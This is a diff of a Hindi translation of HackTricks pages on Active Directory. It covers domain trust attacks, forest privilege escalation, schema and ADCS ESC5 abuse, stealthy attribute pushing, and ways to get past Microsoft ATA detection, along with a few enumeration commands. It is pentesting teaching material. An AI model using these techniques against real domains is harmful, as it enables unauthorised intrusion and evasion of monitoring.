यह AD में एक **नया डोमेन कंट्रोलर** पंजीकृत करता है और निर्दिष्ट वस्तुओं पर **विशेषताएँ** (SIDHistory, SPNs...) **धकेलने** के लिए इसका उपयोग करता है **बिना** किसी **लॉग** को छोड़ने के जो **संशोधनों** के बारे में ह। आपको **DA** विशेषाधिकार की आवश्यकता है और **रूट डोमेन** के अंदर होना चाहिए।\
यह AD में एक **नया डोमेन कंट्रोलर** पंजीकृत करता है और निर्दिष्ट वस्तुओं पर **विशेषताएँ** (SIDHistory, SPNs...) **धकेलने** के लिए इसका उपयोग करता है **बिना** किसी **लॉग** को छोड़ने के जो **संशोधनों** के बारे में हैं। आपको **DA** विशेषाधिकार की आवश्यकता है और **रूट डोमेन** के अंदर होना चाहिए।\
ध्यान दें कि यदि आप गलत डेटा का उपयोग करते हैं, तो बहुत भद्दे लॉग दिखाई देंगे।
{{#ref}}
@ -504,9 +504,9 @@ Microsoft **वन** को सुरक्षा सीमा के रूप
### बुनियादी जानकारी
एक [**डोमेन ट्रस्ट**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) एक सुरक्षा तंत्र है जो एक **डोमेन** के उपयोगकर्ता को दूसरे **डोमेन** में संसाधनों तक पहुँचने की अनुमति देता है। यह मूल रूप से दोनों डोमेन के प्रमाणीकरण प्रणालियों के बीच एक लिंक बनाता है, जिससे प्रमाणीकरण सत्यापन सुचारू रूप से प्रवाहित हो सके। जब डोमेन एक ट्रस्ट स्थापित करते हैं, तो वे अपने **डोमेन कंट्रोलर (DCs)** के भीतर विशिष्ट **कुंजी** का आदान-प्रदान और रखरखाव करते हैं, जो ट्रस्ट की अखंडता के लिए महत्वपूर्ण हैं।
एक [**डोमेन ट्रस्ट**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>) एक सुरक्षा तंत्र है जो एक **डोमेन** के उपयोगकर्ता को दूसरे **डोमेन** में संसाधनों तक पहुँचने की अनुमति देता है। यह मूल रूप से दोनों डोमेन के प्रमाणीकरण प्रणालियों के बीच एक लिंक बनाता है, जिससे प्रमाणीकरण सत्यापन निर्बाध रूप से प्रवाहित हो सके। जब डोमेन एक ट्रस्ट स्थापित करते हैं, तो वे अपने **डोमेन कंट्रोलर (DCs)** के भीतर विशिष्ट **कुंजी** का आदान-प्रदान और रखरखाव करते हैं, जो ट्रस्ट की अखंडता के लिए महत्वपूर्ण हैं।
एक सामान्य परिदृश्य में, यदि एक उपयोगकर्ता **विश्वसनीय डोमेन** में एक सेवा तक पहुँचने का इरादा रखता है, तो उसे पहले अपने डोमेन के DC से एक विशेष टिकट जिसे **इंटर-रीलम TGT** कहा जाता है, अनुरोध करना होगा। यह TGT एक साझा **कुंजी** के साथ एन्क्रिप्ट किया गया है जिस पर दोनों डोमेन सहमत हुए हैं। उपयोगकर्ता फिर इस TGT को **विश्वसनीय डोमेन के DC** को सेवा टिकट (**TGS**) प्राप्त करने के लिए प्रस्तुत करता है। जब विश्वसनीय डोमेन के DC द्वारा इंटर-रीलम TGT की सफल सत्यापन होती है, तो यह एक TGS जारी करता है, जो उपयोगकर्ता को सेवा तक पहुँच प्रदान करता है।
एक सामान्य परिदृश्य में, यदि एक उपयोगकर्ता एक **विश्वसनीय डोमेन** में सेवा तक पहुँचने का इरादा रखता है, तो उसे पहले अपने डोमेन के DC से एक विशेष टिकट जिसे **इंटर-रीलम TGT** कहा जाता है, का अनुरोध करना होगा। यह TGT एक साझा **कुंजी** के साथ एन्क्रिप्ट किया गया है जिस पर दोनों डोमेन सहमत हुए हैं। उपयोगकर्ता फिर इस TGT को **विश्वसनीय डोमेन के DC** को सेवा टिकट (**TGS**) प्राप्त करने के लिए प्रस्तुत करता है। जब विश्वसनीय डोमेन के DC द्वारा इंटर-रीलम TGT की सफल सत्यापन होती है, तो यह एक TGS जारी करता है, जो उपयोगकर्ता को सेवा तक पहुँच प्रदान करता है।
**चरण**:
@ -515,7 +515,7 @@ Microsoft **वन** को सुरक्षा सीमा के रूप
3. क्लाइंट फिर **डोमेन 2** में संसाधनों तक पहुँचने के लिए DC1 से एक **इंटर-रीलम TGT** का अनुरोध करता है।
4. इंटर-रीलम TGT को DC1 और DC2 के बीच साझा ट्रस्ट कुंजी के साथ एन्क्रिप्ट किया गया है जो दो-तरफा डोमेन ट्रस्ट का हिस्सा है।
5. क्लाइंट इंटर-रीलम TGT को **डोमेन 2 के डोमेन कंट्रोलर (DC2)** पर ले जाता है।
6. DC2 अपने साझा ट्रस्ट कुंजी का उपयोग करके इंटर-रीलम TGT की सत्यापन करता है और यदि मान्य है, तो वह उस सर्वर के लिए एक **टिकट ग्रांटिंग सेवा (TGS)** जारी करता है जिसे क्लाइंट पहुँच प्राप्त करना चाहता है।
6. DC2 अपने साझा ट्रस्ट कुंजी का उपयोग करके इंटर-रीलम TGT की सत्यापन करता है और यदि मान्य है, तो वह उस सर्वर के लिए **टिकट ग्रांटिंग सेवा (TGS)** जारी करता है जिसे क्लाइंट पहुँच प्राप्त करना चाहता है।
7. अंततः, क्लाइंट इस TGS को सर्वर को प्रस्तुत करता है, जो सर्वर के खाते के हैश के साथ एन्क्रिप्ट किया गया है, ताकि डोमेन 2 में सेवा तक पहुँच प्राप्त की जा सके।
### विभिन्न ट्रस्ट
@ -526,32 +526,32 @@ Microsoft **वन** को सुरक्षा सीमा के रूप
**विभिन्न विश्वास संबंध**
- **माता-पिता-शिशु ट्रस्ट**: यह एक सामान्य सेटअप है जो एक ही वन के भीतर होता है, जहाँ एक शिशु डोमेन अपने माता-पिता डोमेन के साथ स्वचालित रूप से एक दो-तरफा पारगम्य ट्रस्ट रखता है। मूल रूप से, इसका अर्थ है कि प्रमाणीकरण अनुरोध माता-पिता और शिशु के बीच सुचारू रूप से प्रवाहित हो सकते हैं।
- **क्रॉस-लिंक ट्रस्ट**: "शॉर्टकट ट्रस्ट" के रूप में संदर्भित, ये शिशु डोमेन के बीच स्थापित होते हैं ताकि संदर्भ प्रक्रियाओं को तेज किया जा सके। जटिल वन में, प्रमाणीकरण संदर्भ आमतौर पर वन की जड़ तक यात्रा करते हैं और फिर लक्षित डोमेन तक। क्रॉस-लिंक्स बनाकर, यात्रा को छोटा किया जाता है, जो विशेष रूप से भौगोलिक रूप से फैले वातावरण में फायदेमंद होता है।
- **बाहरी ट्रस्ट**: ये विभिन्न, असंबंधित डोमेन के बीच स्थापित होते हैं और स्वाभाविक रूप से गैर-पारगम्य होते हैं। [Microsoft के दस्तावेज़](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) के अनुसार, बाहरी ट्रस्ट उन संसाधनों तक पहुँचने के लिए उपयोगी होते हैं जो वर्तमान वन के बाहर एक डोमेन में हैं जो वन ट्रस्ट द्वारा जुड़े नहीं हैं। सुरक्षा को बाहरी ट्रस्ट के साथ SID फ़िल्टरिंग के माध्यम से बढ़ाया जाता है।
- **पेड़-रूट ट्रस्ट**: ये ट्रस्ट स्वचालित रूप से वन की जड़ डोमेन और एक नए जोड़े गए पेड़ की जड़ के बीच स्थापित होते हैं। जबकि ये सामान्यतः नहीं मिलते हैं, पेड़-रूट ट्रस्ट नए डोमेन पेड़ों को एक वन में जोड़ने के लिए महत्वपूर्ण होते हैं, जिससे उन्हें एक अद्वितीय डोमेन नाम बनाए रखने और दो-तरफा पारगम्यता सुनिश्चित करने की अनुमति मिलती है। [Microsoft के गाइड](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) में अधिक जानकारी मिल सकती है।
- **वन ट्रस्ट**: यह प्रकार का ट्रस्ट दो वन रूट डोमेन के बीच एक दो-तरफा पारगम्य ट्रस्ट है, जो सुरक्षा उपायों को बढ़ाने के लिए SID फ़िल्टरिंग को लागू करता है।
- **MIT ट्रस्ट**: ये ट्रस्ट गैर-Windows, [RFC4120-अनुरूप](https://tools.ietf.org/html/rfc4120) Kerberos डोमेन के साथ स्थापित होते हैं। MIT ट्रस्ट थोड़े अधिक विशेषीकृत होते हैं और उन वातावरणों के लिए होते हैं जिन्हें Windows पारिस्थितिकी तंत्र के बाहर Kerberos-आधारित प्रणालियों के साथ एकीकरण की आवश्यकता होती है।
- **पैरेंट-चाइल्ड ट्रस्ट**: यह एक सामान्य सेटअप है जो एक ही वन के भीतर होता है, जहाँ एक चाइल्ड डोमेन अपने पैरेंट डोमेन के साथ स्वचालित रूप से एक दो-तरफा पारगम्य ट्रस्ट रखता है। मूल रूप से, इसका अर्थ है कि प्रमाणीकरण अनुरोध पैरेंट और चाइल्ड के बीच निर्बाध रूप से प्रवाहित हो सकते हैं।
- **क्रॉस-लिंक ट्रस्ट**: जिसे "शॉर्टकट ट्रस्ट" कहा जाता है, ये चाइल्ड डोमेनों के बीच स्थापित होते हैं ताकि संदर्भ प्रक्रियाओं को तेज किया जा सके। जटिल वनों में, प्रमाणीकरण संदर्भ आमतौर पर वन की जड़ तक यात्रा करते हैं और फिर लक्षित डोमेन तक पहुँचते हैं। क्रॉस-लिंक्स बनाकर, यात्रा को छोटा किया जाता है, जो विशेष रूप से भौगोलिक रूप से फैले वातावरण में फायदेमंद होता है।
- **बाहरी ट्रस्ट**: ये विभिन्न, असंबंधित डोमेनों के बीच स्थापित होते हैं और स्वाभाविक रूप से गैर-पारगम्य होते हैं। [Microsoft के दस्तावेज़](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) के अनुसार, बाहरी ट्रस्ट उन संसाधनों तक पहुँचने के लिए उपयोगी होते हैं जो वर्तमान वन के बाहर एक डोमेन में हैं जो वन ट्रस्ट द्वारा जुड़े नहीं हैं। सुरक्षा को बाहरी ट्रस्ट के साथ SID फ़िल्टरिंग के माध्यम से बढ़ाया जाता है।
- **ट्री-रूट ट्रस्ट**: ये ट्रस्ट स्वचालित रूप से वन की जड़ डोमेन और एक नए जोड़े गए ट्री रूट के बीच स्थापित होते हैं। जबकि ये सामान्यतः नहीं मिलते हैं, ट्री-रूट ट्रस्ट नए डोमेन ट्री को एक वन में जोड़ने के लिए महत्वपूर्ण होते हैं, जिससे उन्हें एक अद्वितीय डोमेन नाम बनाए रखने की अनुमति मिलती है और दो-तरफा पारगम्यता सुनिश्चित होती है। [Microsoft के गाइड](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>) में अधिक जानकारी मिल सकती है।
- **वन ट्रस्ट**: यह प्रकार का ट्रस्ट दो वन रूट डोमेनों के बीच एक दो-तरफा पारगम्य ट्रस्ट है, जो सुरक्षा उपायों को बढ़ाने के लिए SID फ़िल्टरिंग को लागू करता है।
- **MIT ट्रस्ट**: ये ट्रस्ट गैर-Windows, [RFC4120-अनुरूप](https://tools.ietf.org/html/rfc4120) Kerberos डोमेनों के साथ स्थापित होते हैं। MIT ट्रस्ट थोड़े अधिक विशेषीकृत होते हैं और उन वातावरणों के लिए होते हैं जिन्हें Windows पारिस्थितिकी तंत्र के बाहर Kerberos-आधारित प्रणालियों के साथ एकीकरण की आवश्यकता होती है।
#### **विश्वास संबंधों में अन्य भिन्नताएँ**
- एक ट्रस्ट संबंध भी **पारगम्य** हो सकता है (A ट्रस्ट B, B ट्रस्ट C, तो A ट्रस्ट C) या **गैर-पारगम्य**
- एक ट्रस्ट संबंध को **द्विदिश ट्रस्ट** (दोनों एक-दूसरे पर विश्वास करते हैं) या **एक-तरफा ट्रस्ट** (केवल उनमें से एक दूसरे पर विश्वास करता है) के रूप में स्थापित किया जा सकता है।
- एक ट्रस्ट संबंध भी **पारगम्य** (A ट्रस्ट B, B ट्रस्ट C, तो A ट्रस्ट C) या **गैर-पारगम्य** हो सकता है
- एक ट्रस्ट संबंध को **द्विदिशीय ट्रस्ट** (दोनों एक-दूसरे पर विश्वास करते हैं) या **एक-तरफा ट्रस्ट** (केवल उनमें से एक दूसरे पर विश्वास करता है) के रूप में स्थापित किया जा सकता है।
### हमले का मार्ग
1. **विश्वास संबंधों** की गणना करें
2. जांचें कि क्या कोई **सुरक्षा प्रमुख** (उपयोगकर्ता/समूह/कंप्यूटर) के पास **दूसरे डोमेन** के संसाधनों तक **पहुँच** है, शायद ACE प्रविष्टियों द्वारा या दूसरे डोमेन के समूहों में होने के कारण। **डोमेन के बीच संबंधों** की तलाश करें (यह ट्रस्ट शायद इसके लिए बनाया गया था)।
2. जांचें कि क्या कोई **सुरक्षा प्रमुख** (उपयोगकर्ता/समूह/कंप्यूटर) के पास **दूसरे डोमेन** के संसाधनों तक **पहुँच** है, शायद ACE प्रविष्टियों द्वारा या दूसरे डोमेन के समूहों में होने के कारण। **डोमेनों के बीच संबंधों** की तलाश करें (यह ट्रस्ट शायद इसके लिए बनाया गया था)।
1. इस मामले में kerberoast एक और विकल्प हो सकता है।
3. **समझौता करें** उन **खातों** का जो **डोमेन के माध्यम से पिवट** कर सकते हैं।
हमलावरों को दूसरे डोमेन में संसाधनों तक पहुँच प्राप्त करने के लिए तीन प्राथमिक तंत्रों के माध्यम से पहुँच मिल सकती है:
- **स्थानीय समूह सदस्यता**: प्रमुखों को मशीनों पर स्थानीय समूहों में जोड़ा जा सकता है, जैसे कि सर्वर पर "व्यवस्थापक" समूह, जो उन्हें उस मशीन पर महत्वपूर्ण नियंत्रण प्रदान करता है।
- **स्थानीय समूह सदस्यता**: प्रमुखों को मशीनों पर स्थानीय समूहों में जोड़ा जा सकता है, जैसे कि सर्वर पर "व्यवस्थापकों" का समूह, जो उन्हें उस मशीन पर महत्वपूर्ण नियंत्रण प्रदान करता है।
- **विदेशी डोमेन समूह सदस्यता**: प्रमुख भी विदेशी डोमेन के भीतर समूहों के सदस्य हो सकते हैं। हालाँकि, इस विधि की प्रभावशीलता ट्रस्ट की प्रकृति और समूह के दायरे पर निर्भर करती है।
- **एक्सेस कंट्रोल लिस्ट (ACLs)**: प्रमुखों को एक **ACL** में निर्दिष्ट किया जा सकता है, विशेष रूप से **DACL** के भीतर **ACEs** के रूप में, जो उन्हें विशिष्ट संसाधनों तक पहुँच प्रदान करता है। जो लोग ACLs, DACLs, और ACEs के तंत्र में गहराई से जाना चाहते हैं, उनके लिए "[An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf)" शीर्षक वाला श्वेत पत्र एक अमूल्य संसाधन है।
- **एक्सेस कंट्रोल लिस्ट (ACLs)**: प्रमुखों को एक **ACL** में निर्दिष्ट किया जा सकता है, विशेष रूप से **DACL** के भीतर **ACEs** के रूप में, जो उन्हें विशिष्ट संसाधनों तक पहुँच प्रदान करता है। जो लोग ACLs, DACLs, और ACEs के तंत्र में गहराई से जाना चाहते हैं, उनके लिए [An ACE Up The Sleeve](https://specterops.io/assets/resources/an_ace_up_the_sleeve.pdf) शीर्षक वाला श्वेत पत्र एक अमूल्य संसाधन है।
### शिशु-से-माता-पिता वन विशेषाधिकार वृद्धि
### चाइल्ड-टू-पैरेंट वन विशेषाधिकार वृद्धि
```
Get-DomainTrust
@ -582,11 +582,11 @@ sid-history-injection.md
#### लिखने योग्य कॉन्फ़िगरेशन NC का शोषण
यह समझना महत्वपूर्ण है कि कॉन्फ़िगरेशन नाम संदर्भ (NC) का शोषण कैसे किया जा सकता है। कॉन्फ़िगरेशन NC सक्रिय निर्देशिका (AD) वातावरण में एक वन के भीतर कॉन्फ़िगरेशन डेटा के लिए एक केंद्रीय भंडार के रूप में कार्य करता है। यह डेटा वन के भीतर प्रत्येक डोमेन नियंत्रक (DC) पर पुनरुत्पादित होता है, जिसमें लिखने योग्य DCs कॉन्फ़िगरेशन NC की एक लिखने योग्य प्रति बनाए रखते हैं। इसका शोषण करने के लिए, किसी को **DC पर SYSTEM विशेषाधिकार** होना चाहिए, सबसे अच्छा एक बच्चे DC पर।
यह समझना महत्वपूर्ण है कि कॉन्फ़िगरेशन नाम संदर्भ (NC) का शोषण कैसे किया जा सकता है। कॉन्फ़िगरेशन NC सक्रिय निर्देशिका (AD) वातावरण में एक वन के भीतर कॉन्फ़िगरेशन डेटा के लिए एक केंद्रीय भंडार के रूप में कार्य करता है। यह डेटा वन के प्रत्येक डोमेन नियंत्रक (DC) में पुनरुत्पादित होता है, जिसमें लिखने योग्य DCs कॉन्फ़िगरेशन NC की एक लिखने योग्य प्रति बनाए रखते हैं। इसका शोषण करने के लिए, किसी को **DC पर SYSTEM विशेषाधिकार** होना चाहिए, सबसे अच्छा एक बच्चे DC पर।
**रूट DC साइट से GPO लिंक करें**
कॉन्फ़िगरेशन NC के साइट्स कंटेनर में AD वन के भीतर सभी डोमेन-जोड़े गए कंप्यूटरों की साइटों के बारे में जानकारी शामिल होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ कार्य करते हुए, हमलावर GPO को रूट DC साइटों से लिंक कर सकते हैं। यह क्रिया इन साइटों पर लागू नीतियों में हेरफेर करके रूट डोमेन को संभावित रूप से समझौता कर सकती है।
कॉन्फ़िगरेशन NC के साइट्स कंटेनर में AD वन के भीतर सभी डोमेन-जोड़े गए कंप्यूटरों की साइटों के बारे में जानकारी शामिल होती है। किसी भी DC पर SYSTEM विशेषाधिकार के साथ कार्य करते हुए, हमलावर GPOs को रूट DC साइटों से लिंक कर सकते हैं। यह क्रिया इन साइटों पर लागू नीतियों में हेरफेर करके रूट डोमेन को संभावित रूप से समझौता कर सकती है।
गहन जानकारी के लिए, कोई [Bypassing SID Filtering](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research) पर शोध कर सकता है।
@ -598,15 +598,15 @@ sid-history-injection.md
**Schema परिवर्तन हमला**
इस विधि के लिए धैर्य की आवश्यकता होती है, नए विशेषाधिकार प्राप्त AD वस्तुओं के निर्माण की प्रतीक्षा करना। SYSTEM विशेषाधिकार के साथ, एक हमलावर AD स्कीमा को संशोधित कर सकता है ताकि किसी भी उपयोगकर्ता को सभी वर्गों पर पूर्ण नियंत्रण दिया जा सके। इससे नए बनाए गए AD वस्तुओं पर अनधिकृत पहुंच और नियंत्रण हो सकता है।
इस विधि के लिए धैर्य की आवश्यकता होती है, नए विशेषाधिकार प्राप्त AD ऑब्जेक्ट्स के निर्माण की प्रतीक्षा करना। SYSTEM विशेषाधिकार के साथ, एक हमलावर AD स्कीमा को संशोधित कर सकता है ताकि किसी भी उपयोगकर्ता को सभी वर्गों पर पूर्ण नियंत्रण दिया जा सके। इससे नए बनाए गए AD ऑब्जेक्ट्स पर अनधिकृत पहुंच और नियंत्रण हो सकता है।
अधिक पढ़ने के लिए [Schema Change Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent) पर जाएं।
**ADCS ESC5 के साथ DA से EA तक**
**DA से EA तक ADCS ESC5 के साथ**
ADCS ESC5 भेद्यता सार्वजनिक कुंजी अवसंरचना (PKI) वस्तुओं पर नियंत्रण को लक्षित करती है ताकि एक प्रमाणपत्र टेम्पलेट बनाया जा सके जो वन के भीतर किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण की अनुमति देता है। चूंकि PKI वस्तुएं कॉन्फ़िगरेशन NC में स्थित होती हैं, एक लिखने योग्य बच्चे DC का समझौता ESC5 हमलों को निष्पादित करने की अनुमति देता है।
ADCS ESC5 भेद्यता सार्वजनिक कुंजी अवसंरचना (PKI) ऑब्जेक्ट्स पर नियंत्रण को लक्षित करती है ताकि एक प्रमाणपत्र टेम्पलेट बनाया जा सके जो वन के भीतर किसी भी उपयोगकर्ता के रूप में प्रमाणीकरण सक्षम करता है। चूंकि PKI ऑब्जेक्ट्स कॉन्फ़िगरेशन NC में स्थित होते हैं, एक लिखने योग्य बच्चे DC का समझौता ESC5 हमलों को निष्पादित करने की अनुमति देता है।
इस पर अधिक विवरण [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) में पढ़ा जा सकता है। ADCS की कमी वाले परिदृश्यों में, हमलावर आवश्यक घटकों को स्थापित करने की क्षमता रखता है, जैसा कि [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) में चर्चा की गई है।
इस पर अधिक जानकारी [From DA to EA with ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c) में पढ़ी जा सकती है। ADCS की कमी वाले परिदृश्यों में, हमलावर आवश्यक घटकों को स्थापित करने की क्षमता रखता है, जैसा कि [Escalating from Child Domain Admins to Enterprise Admins](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/) में चर्चा की गई है।
### बाहरी वन डोमेन - एक-तरफा (इनबाउंड) या द्विदिश
```powershell
@ -619,13 +619,13 @@ TrustDirection : Inbound --> Inboud trust
WhenCreated : 2/19/2021 10:50:56 PM
WhenChanged : 2/19/2021 10:50:56 PM
```
इस परिदृश्य में **आपका डोमेन एक बाहरी द्वारा विश्वसनीय है** जो आपको **अनिश्चित अनुमतियाँ** देता है। आपको यह पता लगाने की आवश्यकता होगी कि **आपके डोमेन के कौन से प्रिंसिपल्स के पास बाहरी डोमेन पर कौन सी पहुँच है** और फिर इसे भुनाने की कोशिश करें:
इस परिदृश्य में **आपका डोमेन एक बाहरी डोमेन द्वारा विश्वसनीय है** जो आपको **अनिश्चित अनुमतियाँ** देता है। आपको यह पता लगाने की आवश्यकता होगी कि **आपके डोमेन के कौन से प्रिंसिपल्स के पास बाहरी डोमेन पर कौन सा एक्सेस है** और फिर इसे भुनाने की कोशिश करें:
{{#ref}}
external-forest-domain-oneway-inbound.md
{{#endref}}
### बाहरी वन डोमेन - एक-तरफा (आउटबाउंड)
### बाहरी वन डोमेन - एकतरफा (आउटबाउंड)
```powershell
Get-DomainTrust -Domain current.local
@ -639,7 +639,7 @@ WhenChanged : 2/19/2021 10:15:24 PM
```
इस परिदृश्य में **आपका डोमेन** किसी **विभिन्न डोमेन** के प्रिंसिपल को कुछ **अधिकार** **विश्वास** कर रहा है।
हालांकि, जब एक **डोमेन को विश्वास** किया जाता है, तो विश्वास करने वाला डोमेन **एक उपयोगकर्ता बनाता है** जिसका **पूर्वानुमानित नाम** होता है और जो **विश्वासित पासवर्ड** का उपयोग करता है। इसका मतलब है कि यह संभव है कि **विश्वास करने वाले डोमेन से एक उपयोगकर्ता को एक्सेस करके विश्वासित डोमेन में प्रवेश किया जा सके** ताकि उसे सूचीबद्ध किया जा सके और अधिक अधिकारों को बढ़ाने की कोशिश की जा सके:
हालांकि, जब एक **डोमेन को विश्वास** किया जाता है, तो विश्वास करने वाला डोमेन **एक उपयोगकर्ता** बनाता है जिसका **पूर्वानुमानित नाम** होता है और जो **विश्वासित पासवर्ड** का उपयोग करता है। इसका मतलब है कि यह संभव है कि **विश्वास करने वाले डोमेन से एक उपयोगकर्ता को एक्सेस करके विश्वासित डोमेन में प्रवेश किया जा सके** ताकि उसे सूचीबद्ध किया जा सके और अधिक अधिकारों को बढ़ाने की कोशिश की जा सके:
{{#ref}}
external-forest-domain-one-way-outbound.md
@ -659,7 +659,7 @@ rdp-sessions-abuse.md
### **SID फ़िल्टरिंग:**
- SID इतिहास विशेषता का उपयोग करके हमलों के जोखिम को SID फ़िल्टरिंग द्वारा कम किया जाता है, जो सभी इंटर-फॉरेस्ट ट्रस्ट पर डिफ़ॉल्ट रूप से सक्रिय होता है। यह इस धारणा पर आधारित है कि इंट्रा-फॉरेस्ट ट्रस्ट सुरक्षित हैं, फॉरेस्ट को सुरक्षा सीमा के रूप में मानते हुए, न कि डोमेन को, जैसा कि माइक्रोसॉफ्ट का मानना है।
- हालाँकि, एक पकड़ है: SID फ़िल्टरिंग अनुप्रयोगों और उपयोगकर्ता पहुंच को बाधित कर सकता है, जिसके कारण कभी-कभी इसे निष्क्रिय किया जाता है।
- हालाँकि, एक पकड़ है: SID फ़िल्टरिंग अनुप्रयोगों और उपयोगकर्ता पहुंच को बाधित कर सकता है, जिसके कारण इसे कभी-कभी निष्क्रिय किया जाता है।
### **चयनात्मक प्रमाणीकरण:**
@ -671,7 +671,7 @@ rdp-sessions-abuse.md
## AD -> Azure & Azure -> AD
{{#ref}}
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/index.html
{{#endref}}
## कुछ सामान्य रक्षा
@ -682,7 +682,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
- **डोमेन एडमिन प्रतिबंध**: यह अनुशंसा की जाती है कि डोमेन एडमिन केवल डोमेन कंट्रोलर्स में लॉगिन करने की अनुमति दी जाए, अन्य होस्ट पर उनके उपयोग से बचें।
- **सेवा खाता अधिकार**: सेवाओं को सुरक्षा बनाए रखने के लिए डोमेन एडमिन (DA) अधिकारों के साथ नहीं चलाना चाहिए।
- **अस्थायी अधिकार सीमा**: DA अधिकारों की आवश्यकता वाले कार्यों के लिए, उनकी अवधि सीमित होनी चाहिए। इसे इस प्रकार प्राप्त किया जा सकता है: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **अस्थायी अधिकार सीमित करना**: DA अधिकारों की आवश्यकता वाले कार्यों के लिए, उनकी अवधि सीमित की जानी चाहिए। इसे इस प्रकार प्राप्त किया जा सकता है: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **धोखे की तकनीकों को लागू करना**
@ -698,7 +698,7 @@ https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movement
### **डिटेक्शन सिस्टम को बायपास करना**
- **Microsoft ATA डिटेक्शन बायपास**:
- **उपयोगकर्ता सूचीकरण**: डोमेन कंट्रोलर्स पर सत्र सूचीकरण से बचना ATA डिटेक्शन को रोकने के लिए
- **उपयोगकर्ता सूचीकरण**: ATA डिटेक्शन को रोकने के लिए डोमेन कंट्रोलर्स पर सत्र सूचीकरण से बचें
- **टिकट अनुकरण**: टिकट निर्माण के लिए **aes** कुंजियों का उपयोग करना डिटेक्शन से बचने में मदद करता है क्योंकि NTLM में डाउनग्रेड नहीं होता है।
- **DCSync हमले**: ATA डिटेक्शन से बचने के लिए गैर-डोमेन कंट्रोलर से निष्पादन करना सलाह दी जाती है, क्योंकि डोमेन कंट्रोलर से सीधे निष्पादन करने पर अलर्ट ट्रिगर होगा।

View File

@ -1,4 +1,4 @@
# लेटरल मूवमेंट
# Lateral Movement
{{#include ../../banners/hacktricks-training.md}}
@ -10,8 +10,8 @@
- [**AtExec / SchtasksExec**](atexec.md)
- [**WinRM**](winrm.md)
- [**DCOM Exec**](dcom-exec.md)
- [**Pass the cookie**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-cookie) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/pass-the-prt) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/az-pass-the-certificate) (cloud)
- [**Pass the cookie**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.html) (cloud)
- [**Pass the PRT**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.html) (cloud)
- [**Pass the AzureAD Certificate**](https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.html) (cloud)
{{#include ../../banners/hacktricks-training.md}}